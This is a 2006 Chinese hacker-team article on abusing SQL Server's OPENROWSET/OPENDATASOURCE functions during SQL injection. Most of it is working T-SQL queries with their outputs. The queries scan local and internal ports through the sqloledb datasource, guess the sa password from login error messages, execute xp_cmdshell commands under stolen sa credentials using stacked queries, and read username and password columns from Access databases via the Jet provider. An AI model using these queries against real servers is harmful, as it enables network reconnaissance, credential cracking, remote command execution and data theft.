openrowset/opendatasource的其它技巧创建时间:2006-06-14 文章属性:原创 文章提交:HeiGe (hack-520_at_163.com) openrowset/opendatasource的其它技巧 Author:SuperHei_[At]_ph4nt0m.org Blog:http://superhei.blogbus.com/ Team:http://www.ph4nt0m.org Data: 2006-04-16 前言: openrowset/opendatasource的应用大家应该很熟悉了,cadt[1]就是利用的openrowset,其实我们利用openrowset/opendatasource还可 以做很多事情。 一、函数原形参考: OPENROWSET:http://msdn2.microsoft.com/zh-cn/library/ms190312(SQL.90).aspx OPENROWSET ( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' } , { [ catalog. ] [ schema. ] object | 'query' } | BULK 'data_file' , { FORMATFILE = 'format_file_path' [ <bulk_options> ] | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB } } ) <bulk_options> ::= [ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ] [ , ERRORFILE = 'file_name' ] [ , FIRSTROW = first_row ] [ , LASTROW = last_row ] [ , MAXERRORS = maximum_errors ] [ , ROWS_PER_BATCH = rows_per_batch ] OPENDATASOURCE:http://msdn2.microsoft.com/zh-cn/library/ms179856(SQL.90).aspx OPENDATASOURCE ( provider_name, init_string ) 二、具体利用 [下文都以OPENROWSET为例] A.sqloledb接口利用: select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=aaa;pwd=aaa','select @@version') provider_name:sqloledb datasource:server=127.0.0.1,1433 user_id:uid=aaa password :pwd=aaa query: select @@version 1.利用参数datasource进行端口(内网)扫描: a.本地端口扫描: *.打开端口[是]: select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=superhei;pwd=','select @@version') 服务器: 消息 18456,级别 14,状态 1,行 1 用户 'superhei' 登录失败。 *.打开端口[否]: select * from openrowset('sqloledb','server=127.0.0.1,2433;uid=superhei;pwd=','select @@version') 服务器: 消息 17,级别 16,状态 1,行 1 SQL Server does not exist or access denied. b.内网端口扫描: *.打开端口[是]: select * from openrowset('sqloledb','server=169.254.155.7,1433;uid=superhei;pwd=','select @@version') 服务器: 消息 18456,级别 14,状态 1,行 1 用户 'superhei' 登录失败。 *.打开端口[否]: select * from openrowset('sqloledb','server=169.254.155.8,1433;uid=superhei;pwd=','select @@version') 服务器: 消息 17,级别 16,状态 1,行 1 SQL Server does not exist or access denied. 2.利用user_id/password进行用户密码猜解: *密码正确 select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select @@version') Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) *密码错误 select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123','select @@version') 服务器: 消息 18456,级别 14,状态 1,行 1 用户 'sa' 登录失败。 3.跨用户执行SQL 如果web当前连接的用户权限太低如public,提高上面的方法破解出sa的其他dbo的密码,那么我们可以通过注射跨用户[权限]执行SQL语句了, 我们先测试下: select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','exec master.dbo.xp_cmdshell [dir]') 服务器: 消息 7357,级别 16,状态 2,行 1 未能处理对象 'exec master.dbo.xp_cmdshell [dir]'。OLE DB 提供程序 'sqloledb' 指出该对象中没有任何列。 晕~~, 没有成功:没有列。我们可以利用多语句来突破: select * from openrowset('sqloledb','server=127.0.0.1,1433;uid=sa;pwd=123456','select user;exec master.dbo.xp_cmdshell [dir>c:\test.txt]') 返回select user的结果,我们在到c盘看看test.txt存在,exec master.dbo.xp_cmdshell [dir>c:\test.txt]成功执行了。 B.Microsoft OLE DB Provider for Jet等其他接口的利用。 SELECT f_name, f_password FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'D:\lse\Connections\q.mdb';'admin';'',admin) [ps:mdb没有设置密码是 用户名为admin ,密码为空] 返回数据库D:\lse\Connections\q.mdb、表admin、列f_name, f_password的内容,这样我们可以提高sql注射得到mdb里的一些敏感数据,不过 上面的语句必须要求sa权限。我们还可以结合一些接口漏洞,如msjet40.dll溢出,来执行命令。 还有regwrite结合利用沙盒 再利用select shell()执行。等等。 4.BULK的利用[略...有兴趣的同学可以搞搞] |